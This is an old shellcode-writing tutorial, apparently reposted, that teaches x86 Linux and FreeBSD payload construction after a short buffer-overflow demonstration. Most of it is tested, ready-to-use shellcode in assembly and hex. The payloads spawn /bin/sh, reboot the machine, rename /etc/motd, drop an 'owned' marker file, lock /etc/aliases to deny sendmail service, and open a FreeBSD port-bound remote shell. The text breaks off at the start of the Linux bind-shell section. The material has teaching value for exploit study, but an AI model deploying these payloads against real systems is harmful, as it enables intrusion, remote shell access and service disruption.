Writing_shellcode

来源:互联网 发布:联想网络同传系统 编辑:程序博客网 时间:2024/05/20 18:50

Introduction:

Author: zillion (safemode.org)Date: 10-04-2002
I wrote this document for the purpose of self-education and made it publicso that it might be useful to other. This is not the type of document from which you can expect to learn shellcode developement in 21 hours ;-) If you are completely new to this subject, try playing with assembly a bit and take it easy with this file.
The shellcodes presented here have all been tested to work can be used in most exploits without a problem. However, these codes may cause serious damage  to your computer and should therefor only be used against TEST systems that have  NO network connectivity!. Imagin what happens if you run the backdoor on you system  and forget about it....
If you have any comments or questions please feel free to them to mail me!
zillion

Processing assembly code:

I prefer using nasm to compile assembly code and the examples used in thisdocument are all written in the nasm syntax. Using nasm to compile the assemblycode can be done as follows:
nasm -o prog prog.S
After executing this command, the file 'prog' will contain our binary datathat we will translate to the shellcode.  At this point you will not be ableto execute this data directly from command line. You can use the utility thatis placed at the end of this document. Usage of this tool will look like this:
gcc -o s-proc s-proc.c bash-2.04$ ./s-proc -e progCalling code ...sh-2.04$ exitbash-2.04$ ./s-proc -p progchar shellcode[] =        "/xeb/x1a/x5e/x31/xc0/x88/x46/x07/x8d/x1e/x89/x5e/x08/x89/x46"        "/x0c/xb0/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xe1"        "/xff/xff/xff/x2f/x62/x69/x6e/x2f/x73/x68/x23/x41/x41/x41/x41"        "/x42/x42/x42/x42";bash-2.04$

Memory corruption:

Shellcode can be seen as a list of instructions that has been developedin a manner that allows it to be injected in an application during runtime.
Injecting shellcode in application can be done trough many different security holes of which buffer overflows are the most popular ones. In order to explainhow shellcode is used, I will give a small buffer overflow example by usingthe following c program:
void main(int argc, char **argv, char **envp) {char array[200];strcpy(array,argv[1]);}
If we compile this (gcc -o overflow overflow.c) and execute it with a verylarge string of characters we can overwrite memory:
On linux:
[root@droopy done]#  ./overflow `perl -e 'print "A" x 220'`BBBBSegmentation fault (core dumped)[root@droopy done]#
On FreeBSD:
[root@freebsd done]#  ./overflow `perl -e 'print "A" x 204'`BBBBSegmentation fault (core dumped)[root@freebsd done]#
Well that doesn't look good now does it ? ;-) It appears that we forced somememory corruption with the 220 A's and 4 B's that where given to the programas argument during the execution. That argument exceeded the size of the array and as a result of this, data that was stored behind this array got overwritten. You can see what happend by using gdb (the GNU debugger) to analyze the core dump file. Output generated by gdb often looks very scary for newcommers but have no fear.. there is a manual.BTW if you did not get a coredump try more A's or set ulimit to a numbersuch as 99999 ( ulimit -c 99999 )
[root@droopy done]# gdb -core=core GNU gdb 5.0Copyright 2000 Free Software Foundation, Inc.GDB is free software, covered by the GNU General Public License, and you arewelcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions.There is absolutely no warranty for GDB.  Type "show warranty" for details.This GDB was configured as "i386-redhat-linux".Core was generated by `./overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.Program terminated with signal 11, Segmentation fault.#0  0x42424242 in ?? ()(gdb) info alleax            0xbffff990       -1073743472ecx            0xfffffdc3       -573edx            0xbffffcad       -1073742675ebx            0x4013b824       1075034148esp            0xbffffa70       0xbffffa70ebp            0x41414141       0x41414141esi            0xbffffad4       -1073743148edi            0x0      0eip            0x42424242       0x42424242eflags         0x10286  66182cs             0x23     35ss             0x2b     43ds             0x2b     43es             0x2b     43fs             0x2b     43gs             0x2b     43st0            0        (raw 0x00000000000000000000)st1            0        (raw 0x00000000000000000000)st2            0        (raw 0x00000000000000000000)st3            0        (raw 0x00000000000000000000)st4            0        (raw 0x00000000000000000000)st5            0        (raw 0x00000000000000000000)st6            0        (raw 0x00000000000000000000)st7            0        (raw 0x00000000000000000000)fctrl          0x0      0fstat          0x0      0ftag           0x0      0fiseg          0x0      0fioff          0x0      0foseg          0x0      0fooff          0x0      0fop            0x0      0
So by using GDB we can see the contents of all registers at the time 'overflow'got killed. I have made the most important registers bold. EBP and EIP are 32 bitregisters (32/8 = 4 Byte) and are holding the last 8 bytes of our argument.In the above gdb output you can see that lines 'EBP' and 'EIP' are made bold.These are important lines from which we can indicate that memory was overwrittenwith data we control. As you can see EBP holds the value 0x41414141. 41 is the hex value for A meaning that EBP contains AAAA. The EIP register holds 0x42424242.42 is the hex value of B meaning that EIP holds BBBB.
You can also use gdb to examine more memory by using the 'x' command. In this case we can see our buffer by using the command 'x/150 0xbffffa70' where 0xbffffa70 is the value that is obtained from the ESP register:
 (gdb) x/150 $esp0xbffffa70:     0x00000000      0xbffffad4      0xbffffae0      0x0804830e0xbffffa80:     0x080482e4      0x4013b824      0xbffffaa8      0x40037b4c0xbffffa90:     0x00000000      0xbffffae0      0x4013a358      0x400166380xbffffaa0:     0x00000002      0x08048380      0x00000000      0x080483a10xbffffab0:     0x0804845c      0x00000002      0xbffffad4      0x080482e40xbffffac0:     0x080484cc      0x4000df24      0xbffffacc      0x40016c0c0xbffffad0:     0x00000002      0xbffffbc1      0xbffffbcc      0x000000000xbffffae0:     0xbffffcad      0xbffffcce      0xbffffced      0xbffffd0f0xbffffaf0:     0xbffffd1b      0xbffffede      0xbffffefd      0xbfffff130xbffffb00:     0xbfffff1e      0xbfffff2d      0xbfffff35      0xbfffff450xbffffb10:     0xbfffff53      0xbfffff64      0xbfffff6f      0xbfffff800xbffffb20:     0xbfffffa3      0xbfffffb6      0xbfffffc3      0x000000000xbffffb30:     0x00000003      0x08048034      0x00000004      0x000000200xbffffb40:     0x00000005      0x00000006      0x00000006      0x000010000xbffffb50:     0x00000007      0x40000000      0x00000008      0x000000000xbffffb60:     0x00000009      0x08048380      0x0000000b      0x000000000xbffffb70:     0x0000000c      0x00000000      0x0000000d      0x000000000xbffffb80:     0x0000000e      0x00000000      0x00000010      0x0080f9ff0xbffffb90:     0x0000000f      0xbffffbbc      0x00000000      0x000000000xbffffba0:     0x00000000      0x00000000      0x00000000      0x000000000xbffffbb0:     0x00000000      0x00000000      0x00000000      0x363836690xbffffbc0:     0x6f2f2e00      0x66726576      0x00776f6c      0x414141410xbffffbd0:     0x41414141      0x41414141      0x41414141      0x414141410xbffffbe0:     0x41414141      0x41414141      0x41414141      0x414141410xbffffbf0:     0x41414141      0x41414141      0x41414141      0x414141410xbffffc00:     0x41414141      0x41414141      0x41414141      0x414141410xbffffc10:     0x41414141      0x41414141      0x41414141      0x414141410xbffffc20:     0x41414141      0x41414141      0x41414141      0x414141410xbffffc30:     0x41414141      0x41414141      0x41414141      0x414141410xbffffc40:     0x41414141      0x41414141      0x41414141      0x414141410xbffffc50:     0x41414141      0x41414141      0x41414141      0x414141410xbffffc60:     0x41414141      0x41414141      0x41414141      0x414141410xbffffc70:     0x41414141      0x41414141      0x41414141      0x414141410xbffffc80:     0x41414141      0x41414141      0x41414141      0x414141410xbffffc90:     0x41414141      0x41414141      0x41414141      0x414141410xbffffca0:     0x41414141      0x41414141      0x42424242      0x445750000xbffffcb0:     0x6f682f3d      0x6e2f656d      0x736c6569      0x6f7a2f680xbffffcc0:     0x722f656e      0x79646165(gdb)
Here we can see that EBP and EIP are located directly behind eachother. Nowwhat most exploit do is that they put an address in EIP (Instruction pointer)that points to instructions they have put in the buffer that caused theoverflow. Instructions ?? hey that includes our shellcode !! ;-)

Using the registers:

Intel has 32 bit registers that can be split up in 16 and 8 bit. When developingshellcode you will find out that using the smallest registers often preventshaving NULL bytes in code. Also using the right register for the right valueshould be considered effective programming. I mean would you put a mouse in acage that was created for an elephant ?? I tought so ! ;p . Now lets have a lookat the registers that we will be using.
32 Bit 16 Bit 8 Bit (High)  8 Bit (Low) EAX AX AH AL EBX BX BH BL ECX CX CH CL EDX DX DH DL
EAX, AX, AH and AL are called the 'Accumulator' registers and can be used for I/O port access, arithmetic, interrupt calls etc. Later in this document you will see that we can use these registers to use system calls.
EBX, BX, BH, and BL are the 'Base' registers and are used as base pointers for memory access. You will see later on that we will use this register to store pointers in for arguments of system calls. This register is also sometimes usedto store return value from an interrupt in. An example of this can be seen whenusing the 'open' systems call. When you opened a file with this system call thenthe 'file' descriptor, which can be used for I/O with the opened file, will be stored in the EBX register.
ECX, CX, CH, and CL are also known as the 'Counter' registers. In the examplesof this document you will see a loop that uses CL as a counter and some examplesthat will use ECX to store pointers in.
EDX, DX, DH, and DL are called the 'Data' registers and can be used for I/O portaccess , arithmetic and some intrerrupt calls.
When you want to execute a system call you will have to use these registers to prepare the system call. A very simple example is the exit(0) syscall:
mov           al, 0x01  ; The syscall number for exitxor           ebx, ebx  ; EBX will now contain the value 0int           0x80      ; and activate ! It is important to always use the smallest registers available to store you datain. This to avoid NULL bytes in shell code. For example if we would use the followingexit code:
BITS 32                         ; exit(0) codemov           eax, 0x01  ; The syscall number for exitxor           ebx, ebx   ; EBX will now contain the value 0int           0x80       ; and activate !The register 'eax' will be to large to hold our byte with the result that NULL bytes will exist in our shellcode result:
su-2.05a# s-proc -p exitchar shellcode[] =        "/xb8/x01/x00/x00/x00/x31/xdb/xcd/x80";By using 'ndisasm' , which is part of the nasm package, we can see how the large registeris translated:su-2.05a# ndisasm exit00000000  B80100            mov ax,0x100000003  0000              add [bx+si],al 00000005  31DB              xor bx,bx00000007  CD80              int 0x80

The addressing problem:

In most cases of shellcode you cannot use hardcoded memory addresses. So in order to know where your data is located, you'll need to do a little trick:jmp short       stuff   code:pop             esi
<data>stuff:call              code db              'This is my string#'     What you see in the above code is that we 'jmp' from the beginning of the code to 'stuff' from where we 'call code'. At the beginning from 'code' we 'pop esi'. Now esi will represent the location of the string 'This is my string'  In the above sample [esi + 1] represents 'h' from the word 'This'.  

The NULL byte problem:

NULL bytes are string delimeters and kill shellcode. If you created shellcodethat contains such bytes: Don't bother using it and try to fix the problem.So since you cannot have NULL bytes in the shellcode you will have to add themat runtime. Now that we have seen in the above example how to get the locationof bytes in our string:jmp short       stuff  code:pop             esixor             eax,eax         ; doing this will make eax NULL mov byte        [esi + 17],al   ; put a null byte byte on [esi + 17]  stuff:call            codedb              'This is my string#' In the above example we replace '#' with a NULL byte and terminate the string 'This is my string' at run time. For clean coding purposes it I find it the bestto alter you strings at the beginning of you assembly code.Please note that NULL bytes are not the only problem! Other bytes such as newlinesand special characters can also cause problems !.

The syn() syn() reboot() examples :

Dont run this code on a production system ! Sync brings the hard disk state of the file system in sync with the internal state of the file system. We haveto put this in front of the reboot() syscall to avoid loss of data that hasn'tbeen written by the harddisk on the file system. Using this code can ofcoursestill result in dataloss because active processes are *not* terminated properly before the reboot. Since we don't need to alter any data in this code, their isno need to find out from what location we are working:
BITS 32pop             esixor             eax, eaxmov             al,36 int             0x80mov             al,36int             0x80mov             al, 88mov             ebx, 0xfee1dead mov             ecx, 672274793mov             edx, 0x1234567int             0x80
Shellcode produced by this assembly code:
[root@droopy doc]# nasm -o reboot reboot.S [root@droopy doc]# s-proc -p rebootchar shellcode[] =        "/x5e/x31/xc0/xb0/x24/xcd/x80/xb0/x24/xcd/x80/xb0/x58/xbb/xad"        "/xde/xe1/xfe/xb9/x69/x19/x12/x28/xba/x67/x45/x23/x01/xcd/x80";
The FreeBSD code for this is much simpler and doesn't require you to add sync()in front of it:
BITS 32xor             eax,eaxmov             dx,9998   sub             dx,9990mov             al, 55int             0x80
The FreeBSD shellcode created by this code:char shellcode[] =        "/x31/xc0/x66/xba/x0e/x27/x66/x81/xea/x06/x27/xb0/x37/xcd/x80";
Additionally FreeBSD also has many more different flags for reboots which you canuse to do some funky stuff ;-) see:  /usr/include/sys/reboot.h for more information.

The rename() example (linux):

The rename syscall looks like this (taken from 'man rename'): int rename(const char *oldpath, const char *newpath);So in order to use this syscall successful we need two pointers to our old and new file. To get an adress from a string we can use 'lea' in assembly. BITS 32jmp short       callitdoit:   pop             esixor             eax, eaxmov byte        [esi + 9], al     ; terminate arg 1 mov byte        [esi + 24], al    ; terminate arg 2 mov byte        al, 38            ; the syscall rename = 83 lea             ebx, [esi]        ; put the address of /etc/motd (esi) in ebxlea             ecx, [esi + 10]   ; put the address of /etc/ooops.txt (esi + 10) in ecx int             0x80              ; We have everything ready so lets call the kernel                                     mov             al, 0x01          ; prepare to exit()xor             ebx, ebx          ; clean up    int             0x80              ; and exit !  callit:call            doitdb              '/etc/motd#/etc/ooops.txt#'Please note that the 'db' line can also be formatted like this, it doesn't make any difference:db              '/etc/motd#'db              '/etc/ooops.txt#'Shellcode produced from this assembly code, after we compiled it, will look like this:
char shellcode[] =        "/xeb/x18/x5e/x31/xc0/x88/x46/x09/x88/x46/x18/xb0/x26/x8d/x1e"        "/x8d/x4e/x0a/xcd/x80/xb0/x01/x31/xdb/xcd/x80/xe8/xe3/xff/xff"        "/xff/x2f/x65/x74/x63/x2f/x6d/x6f/x74/x64/x23/x2f/x65/x74/x63"        "/x2f/x6f/x6f/x6f/x70/x73/x2e/x74/x78/x74/x23";

The execve examples number I (no arguments):

Execve is the almighty system call that can be used to execute a file. The linux implementation looks like this:
int execve (const char *filename, char *const argv [], char *const envp[]);
So what we need is to get 3 pointers, one to our filename, one to the argumentsarray and one to environment array. Since we are not interested in the environmentarray we will use NULL for it. We will implement this execve as follows:
execve("pointer to string /bin/sh","pointer to /bin/sh","pointer to NULL");
BITS 32jmp short       callit            ; jmp trick as explained abovedoit:pop             esi               ; esi now represents the location of our stringxor             eax, eax          ; make eax 0mov byte        [esi + 7], al     ; terminate /bin/sh lea             ebx, [esi]        ; get the adress of /bin/sh and put it in register ebx mov long        [esi + 8], ebx    ; put the value of ebx (the address of /bin/sh) in AAAA ([esi +8]) mov long        [esi + 12], eax   ; put NULL in BBBB (remember xor eax, eax) mov byte        al, 0x0b          ; Execution time! we use syscall 0x0b which represents execvemov             ebx, esi          ; argument one... ratatata /bin/shlea             ecx, [esi + 8]    ; argument two... ratatata our pointer to /bin/shlea             edx, [esi + 12]   ; argument three... ratataa our pointer to NULLint             0x80callit:call            doit              ; part of the jmp trick to get the location of dbdb              '/bin/sh#AAAABBBB'
Note that the #AAAABBBB characters are not needed in the shellcode but removing them can have the resultthat the the shellcode corrupts memory which causes it to fail. This assembly code can be used to create the following shellcode:char shellcode[] =        "/xeb/x1a/x5e/x31/xc0/x88/x46/x07/x8d/x1e/x89/x5e/x08/x89/x46"        "/x0c/xb0/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xe1"        "/xff/xff/xff/x2f/x62/x69/x6e/x2f/x73/x68/x23/x41/x41/x41/x41"        "/x42/x42/x42/x42";
In the above example syscall argument data is stored in the CPU registers (eax,ecx,edx etc). This is the way how Linux likes it. On *BSD systems argument are given to system calls by pushing them on the stack. Below is an example for an execve syscall on FreeBSD:
BITS 32jmp short       callitdoit:pop             esixor             eax, eaxmov byte        [esi + 7], alpush            eaxpush            eaxpush            esi mov             al,59push            eax int             0x80callit:call            doitdb              '/bin/sh'
And the result:
su-2.05a# s-proc -p execvechar shellcode[] =        "/xeb/x0e/x5e/x31/xc0/x88/x46/x07/x50/x50/x56/xb0/x3b/x50/xcd"        "/x80/xe8/xed/xff/xff/xff/x2f/x62/x69/x6e/x2f/x73/x68";su-2.05a# s-proc -e execveCalling code ...#

The execve example number II (one argument, linux):

From the execve man page:int execve (const char *filename, char *const argv [], char *const envp[]);So we need a pointer to our file name, argument array and environment array. Thelast called array may also be replaced with NULL and that is what we will do ;-)Remember.. you can use execve for any program !    BITS 32jmp short       callitdoit:                                 ; Part one: Manipulate the string defined after 'db'pop             esi              ; esi now represents our stringxor             eax, eax    ;  mov byte        [esi + 7], al    ; put null byte after /bin/sh and ths terminate the string mov byte        [esi + 10], al   ; ditto but then after -i                                 ; Part two: Prepare the arguments for our system call mov long        [esi + 11], esi  ; get address of /bin/sh and store it in AAAA lea             ebx, [esi + 8]   ; get adress of -i and store it in ebp mov long        [esi + 15], ebx  ; store the address in [esi + 15] -> BBBBBmov long        [esi + 19], eax  ; put NULL in CCCC                                  ; Part three: Prepare execution and executemov byte        al, 0x0b         ; 0x0b is the execve system callmov             ebx, esi         ; ebx = argument 1lea             ecx, [esi + 11]  ; arguments pointerlea             edx, [esi + 19]  ; environment pointerint             0x80mov             al, 0x01xor             ebx, ebxint             0x80callit:call            doitdb              '/bin/sh#-i#AAAABBBBCCCC'[root@droopy execve-2]# nasm -o execve execve.S [root@droopy execve-2]# s-proc -p execvechar shellcode[] =        "/xeb/x27/x5e/x31/xc0/x88/x46/x07/x88/x46/x0a/x89/x76/x0b/x8d"        "/x5e/x08/x89/x5e/x0f/x89/x46/x13/xb0/x0b/x89/xf3/x8d/x4e/x0b"        "/x8d/x56/x13/xcd/x80/xb0/x01/x31/xdb/xcd/x80/xe8/xd4/xff/xff"        "/xff/x2f/x62/x69/x6e/x2f/x73/x68/x23/x2d/x69/x23/x41/x41/x41"        "/x41/x42/x42/x42/x42/x43/x43/x43/x43";[root@droopy execve-2]# s-proc -e execveCalling code ...sh-2.04#

The execve example number III (2 > arguments, linux):

Again we will use the following defenition:int execve (const char *filename, char *const argv [], char *const envp[]);And our goal is as follows:int execve (AAAA,pointer to array AAAABBBBCCCC,DDDD);BITS 32jmp short       callitdoit:   pop             esixor             eax, eaxmov byte        [esi + 7], al     ; terminate /bin/shmov byte        [esi + 10], al    ; terminate -cmov byte        [esi + 18], al    ; terminate /bin/lsmov long        [esi + 20], esi   ; address of /bin/sh in AAAAlea             ebx, [esi + 8]    ; get address of -c  mov long        [esi + 24], ebx   ; store address of -c in BBBB lea             ebx, [esi + 11]   ; get address of /bin/lsmov long        [esi + 28], ebx   ; store address of /bin/ls in CCCCmov long        [esi + 32], eax   ; put NULL in DDDDmov byte        al, 0x0b          ; prepare the execution, we use syscall 0x0b (execve)mov             ebx, esi          ; program lea             ecx, [esi + 20]   ; argument array (/bin/sh -c /bin/ls) lea             edx, [esi + 32]   ; NULLint             0x80              ; call the kernel to look at our stuff ;-)callit:call            doitdb              '/bin/sh#-c#/bin/ls#AAAABBBBCCCCDDDD'[root@droopy execve-3]# s-proc -p execvechar shellcode[] =        "/xeb/x2a/x5e/x31/xc0/x88/x46/x07/x88/x46/x0a/x88/x46/x12/x89"        "/x76/x14/x8d/x5e/x08/x89/x5e/x18/x8d/x5e/x0b/x89/x5e/x1c/x89"        "/x46/x20/xb0/x0b/x89/xf3/x8d/x4e/x14/x8d/x56/x20/xcd/x80/xe8"        "/xd1/xff/xff/xff/x2f/x62/x69/x6e/x2f/x73/x68/x23/x2d/x63/x23"        "/x2f/x62/x69/x6e/x2f/x6c/x73/x23/x41/x41/x41/x41/x42/x42/x42"        "/x42/x43/x43/x43/x43/x44/x44/x44/x44";[root@droopy execve-3]# s-proc -e execveCalling code ...execve  execve.S[root@droopy execve-3]#

The open() write() close() and exit() example (linux):

BITS 32jmp short       callitdoit:   pop             esixor             eax, eaxmov byte        [esi + 14], al   ; terminate /tmp/hacked.txtmov byte        [esi + 29],0xa   ; 0xa == newlinemov byte        [esi + 30], al   ; terminate niels was here lea             ebx, [esi + 15]  ; get addressmov long        [esi + 31], ebx  ; put the address of niels--here in xxxxmov             al, 5            ; the syscall open() = 5 lea             ebx, [esi]       ; argument #1   mov             cx, 1090         ; 1024 (append) + 64 (create if no exist) + 2 rwmov             dx, 744q         ; if we need to create, these are the permissionsint             0x80             ; kernel intmov long        ebx,eax          ; get the descriptormov             al, 4 mov             ecx,[esi + 31]   ; the location of our datamov             dx, 15           ; the size of our dataint             0x80             ; kernel interruptmov             al, 6            ; the close syscall = 6int             0x80             ; clozzzz      mov             al, 0x01         ; exit system callxor             ebx, ebx         ; clean upint             0x80             ; and bail out callit:call            doitdb              '/tmp/owned.txt#'db              'niels was here #xxxx'Now this code will generate the following shellcode:sh-2.04$ ../../../process open shellcodeCalling code ...bash-2.05$ cat shellcode char shellcode[] =         "/xeb/x38/x5e/x31/xc0/x88/x46/x0e/xc6/x46/x1d/x0a/x88/x46/x1e"        "/x8d/x5e/x0f/x89/x5e/x1f/xb0/x05/x8d/x1e/x66/xb9/x42/x04/x66"        "/xba/xe4/x01/xcd/x80/x89/xc3/xb0/x04/x8b/x4e/x1f/x66/xba/x0f"        "/x00/xcd/x80/xb0/x06/xcd/x80/xb0/x01/x31/xdb/xcd/x80/xe8/xc3"        "/xff/xff/xff/x2f/x74/x6d/x70/x2f/x6f/x77/x6e/x65/x64/x2e/x74"        "/x78/x74/x23/x6e/x69/x65/x6c/x73/x20/x77/x61/x73/x20/x68/x65"        "/x72/x65/x20/x23/x78/x78/x78/x78";bash-2.05___FCKpd___57nbsp;As you can see there is a NULL byte in it and thus this shellcode cannot be used So lets find outwhat the problem is by using ndisasm.bash-2.04$ ndisasm open     00000000  EB38              jmp short 0x3a00000002  5E                pop si00000003  31C0              xor ax,ax00000005  88460E            mov [bp+0xe],al00000008  C6461D0A          mov byte [bp+0x1d],0xa0000000C  88461E            mov [bp+0x1e],al0000000F  8D5E0F            lea bx,[bp+0xf]00000012  895E1F            mov [bp+0x1f],bx00000015  B005              mov al,0x500000017  8D1E66B9          lea bx,[0xb966]0000001B  42                inc dx0000001C  0466              add al,0x660000001E  BAE401            mov dx,0x1e400000021  CD80              int 0x8000000023  89C3              mov bx,ax00000025  B004              mov al,0x400000027  8B4E1F            mov cx,[bp+0x1f]0000002A  66BA0F00CD80      mov edx,0x80cd000f     <-- beh !00000030  B006              mov al,0x600000032  CD80              int 0x8000000034  B001              mov al,0x100000036  31DB              xor bx,bx00000038  CD80              int 0x800000003A  E8C3FF            call 0x00000003D  FF                db 0xFF0000003E  FF2F              jmp far [bx]00000040  746D              jz 0xaf00000042  702F              jo 0x7300000044  6F                outsw00000045  776E              ja 0xb500000047  65642E7478        cs jz 0xc40000004C  7423              jz 0x710000004E  6E                outsb0000004F  69656C7320        imul sp,[di+0x6c],0x207300000054  7761              ja 0xb700000056  7320              jnc 0x7800000058  686572            push word 0x72650000005B  652023            and [gs:bp+di],ah0000005E  7878              js 0xd800000060  7878              js 0xdaAs you might have already seen that the number of bytes we want to write is causing a problem. That means the following line needs a fix: mov             dx, 15          We can fix that by using the following trick:mov             dx,9995           ; A trick to get 15 in dx without getting null bytessub             dx,9980
So what we do is we store 9995 in dx and substract 9980 from it. As a resultdx will contain 15, which is exactly the amount of bytes we want to write inthe opened file. After correcting this error we get the following shellcode: char shellcode[] =        "/xeb/x39/x5e/x31/xc0/x88/x46/x0e/x88/x46/x1e/x8d/x5e/x0f/x89"        "/x5e/x1f/xb0/x05/x8d/x1e/x66/xb9/x42/x04/x66/xba/xe4/x01/xcd"        "/x80/x89/xc3/xb0/x04/x8b/x4e/x1f/x66/xba/x0b/x27/x66/x81/xea"        "/xfc/x26/xcd/x80/xb0/x06/xcd/x80/xb0/x01/x31/xdb/xcd/x80/xe8"        "/xc2/xff/xff/xff/x2f/x74/x6d/x70/x2f/x6f/x77/x6e/x65/x64/x2e"        "/x74/x78/x74/x23/x6e/x69/x65/x6c/x73/x20/x77/x61/x73/x20/x68"        "/x65/x72/x65/x20/x23/x78/x78/x78/x78";
And gone is the null byte ! ;-)

Linux sendmail harrasing shellcode:

This shellcode abused a weakness in sendmail that can prevent that applicationfrom being able to work properly. More information about that issue can be foundhere: http://www.sendmail.org/LockingAdvisory.txtBITS 32jmp short       callitdoit:pop             esixor             ebx,ebx        ; Make sure the registers we usexor             eax,eax        ; are cleanmov             eax,0x2        ; 0x2 is fork(). This function returnsint             0x80           ; A process ID to the parent and a 0 to the                               ; child process. We can test on this and lettest            eax,eax        ; the parent process exit. This is an importantjnz             exit           ; test which can be crucial with forking bind                               ; shellcode. (man fork)xor             eax,eaxmov             [esi + 12],al  ; Terminate /etc/aliasesmov             ecx,eax        ; ecx = 0mov             ebx,esi        ; The ebx register will contain themov             al,5           ; location of our data which is 'esi'int             0x80           ; we open() the file and safe the returnedxor             ebx,ebx        ; file descriptor in ebx after cleaning thismov             ebx,eax        ; register with xor.mov             cl,0x2         ; We want an exclusively lockmov             al,143         ; flock()int             0x80           ; call kernel and make the lock a factsub             cl,0x3         ; Start a infinite loop to make surel00p:                          ; that sendmail cannot access the filejs              l00pcallit:call            doitdb              '/etc/aliases'exit:                          ; Exit will get called in the parent processxor             eax,eax        ; This is not really needed I guess you can just mov             al,1           ; let it crash to safe space ;-)int             0x80           ; Execute !! ;-))
 
 

The FreeBSD port binding shellcode example:

While port binding shellcode looks very complex, it isn't really that hard to write it.It very much like the above example, several system calls on a row from which some are using information that was returned from another (I introduced this in the above example). When writing a bit more complex code it can help if you first write it in c. In our case just ripped the c source of the port binding shellcode that Taeho Oh wrote for his shellcode document and made some minor changes to it. The assembly code generated from this c source is ofcourse hombrewn and works like a charm on FreeBSD.
#include<unistd.h>#include<sys/socket.h>#include<netinet/in.h>int soc,cli;struct sockaddr_in serv_addr;int main(){      if(fork()==0)        {                serv_addr.sin_family=2;                serv_addr.sin_addr.s_addr=0;                serv_addr.sin_port=0xAAAA;                soc=socket(2,1,6);                bind(soc,(struct sockaddr *)&serv_addr,0x10);                listen(soc,1);                cli=accept(soc,0,0);                dup2(cli,0);                dup2(cli,1);                dup2(cli,2);                execve("/bin/sh",0,0);        }}
The assembly code I generated from this C source:
BITS 32jmp short      callitdoit:pop             esixor             eax, eaxmov byte        [esi + 7], al         ; Terminate the /bin/sh stringmov             al,2                  ; The fork() system callint             0x80                  ; We call the kernel to fork us.                                       ;                                      ; Next code: socket(2,1,6)                                push byte       0x06                  ; The 3e argument   push byte       0x01                  ; The 2e argument push byte       0x02                  ; The 1e argument mov             al,97                 ; The system call numberpush            eax                   ;int             0x80                  ; And call the kernel                                        ;                                       ; Next code: bind(soc,(struct sockaddr *)&serv_addr,0x10);mov             edx,eax               ; We store the file descriptor that was returned from socket() in edxxor             eax,eax               ; Now we will create the sockaddr_in structuremov byte        [esi + 9],0x02        ; This equals: serv_addr.sin_family=2mov word        [esi + 10],0xAAAA     ; This equals: serv_addr.sin_port=0xAAAAmov long        [esi + 12],eax        ; This equals: serv_addr.sin_addr.s_addr=0push byte       0x10                  ; We now start with pushing the arguments, 0x10 is the 3e one.   lea             eax,[esi + 8]         ; Get the address of our structure, arg 2 of bind() is a pointer.push            eax                   ; And push it on the stack, our second argument is a factpush            edx                   ; And we push the last argument, the file descriptor, on the stackxor             eax,eax               ; Clean upmov             al,104                ; System call 104 represents bind.push            eax                   ;int             0x80                  ; And call the kernel                                      ;                                            ; Next code: listen(soc,1); push byte       0x1                   ; We push the first argument on the stack push            edx                   ; We push the filedescriptor that is still stored in the edx registerxor             eax,eax               ; Cleanupmov             al,106                ; System call 106 represents listenpush            eax                   ;int             0x80                  ; And call the kernel                                         ;                                      ; Next code: accept(soc,0,0);xor             eax,eax               ; We need zero's for the arguments.push            eax                   ; Push the last argument, a zero push            eax                   ; Push the second argument, another zero push            edx                   ; Push the first argument, the file descriptor of our socketmov             al,30                 ; Define the system call we like to use, accept()push            eax                   ;                      int             0x80                  ; And call the kernel to process our data                                       ;                                          ; Next code: dup2(cli,0) , dup2(cli,1) and dup2(cli,2)                                       ; We will do this in a loop since this creates smaller code.mov             cl,3                  ; Define our counter = 3 mov             ebx,-1                ; The C code for our loop is: b = -1; for(int i =3;i>0;i--) { dup(cli,++b) }; mov             edx,eax               ; We store the file descriptor from accept() in edx.                                      ;  l00p:                                 ; The loop code starts here.      inc             ebx                   ; This is the instead of the ++b code push            ebx                   ; We push this value first because it represents the last argument push            edx                   ; We push the second argument, the file descriptor from accept() mov             al,90                 ; We define the system callpush            eax                   ;  int             0x80                  ; And call the kernel to execute  sub             cl, 1                 ; Substract 1 from cljnz l00p                              ; This will continue the loop if cl != 0                                         ;                                        ; Next the execve of /bin/shxor             eax,eax               ; First we create some zero'spush            eax                   ; The 3e argument == NULLpush            eax                   ; So is the second push            esi                   ; The first argument is a pointer to our string /bin/sh mov             al,59                 ; We define the system call, execve.push            eax                   ; int             0x80                  ; And execute  callit:call            doitdb              '/bin/sh'
And again the most important part, the result:
char shellcode[] =        "/xeb/x6a/x5e/x31/xc0/x31/xdb/x88/x46/x07/xb0/x02/xcd/x80/x6a"        "/x06/x6a/x01/x6a/x02/xb0/x61/x50/xcd/x80/x89/xc2/x31/xc0/xc6"        "/x46/x09/x02/x66/xc7/x46/x0a/xaa/xaa/x89/x46/x0c/x6a/x10/x8d"        "/x46/x08/x50/x52/x31/xc0/xb0/x68/x50/xcd/x80/x6a/x01/x52/x31"        "/xc0/xb0/x6a/x50/xcd/x80/x31/xc0/x50/x50/x52/xb0/x1e/x50/xcd"        "/x80/xb1/x03/xbb/xff/xff/xff/xff/x89/xc2/x43/x53/x52/xb0/x5a"        "/x50/xcd/x80/x80/xe9/x01/x75/xf3/x31/xc0/x50/x50/x56/xb0/x3b"        "/x50/xcd/x80/xe8/x91/xff/xff/xff/x2f/x62/x69/x6e/x2f/x73/x68";

The Linux port binding shellcode:

Linux socket code is a bit different then the BSD one. The problem is that linuxhas one socket system call that can be used to query other socket functions (an API)This system call is called 'socketcall' and is executed with two arguments. The firstargument is a number that represent a socket function (such as listen()). The secondargument is a pointer to an array that contains the argument that have to be given to the by the first argument defined function.. ;-) Not very useful for shellcode development.
Socketcall is called like this:
socketcall(<function number>,<arguments for that function>)
Below are the available function numbers:
SYS_SOCKET      1SYS_BIND        2SYS_CONNECT     3SYS_LISTEN      4SYS_ACCEPT      5SYS_GETSOCKNAME 6SYS_GETPEERNAME 7SYS_SOCKETPAIR  8SYS_SEND        9SYS_RECV        10SYS_SENDTO      11SYS_RECVFROM    12SYS_SHUTDOWN    13SYS_SETSOCKOPT  14SYS_GETSOCKOPT  15SYS_SENDMSG     16SYS_RECVMSG     17
And ofcourse the implementation:
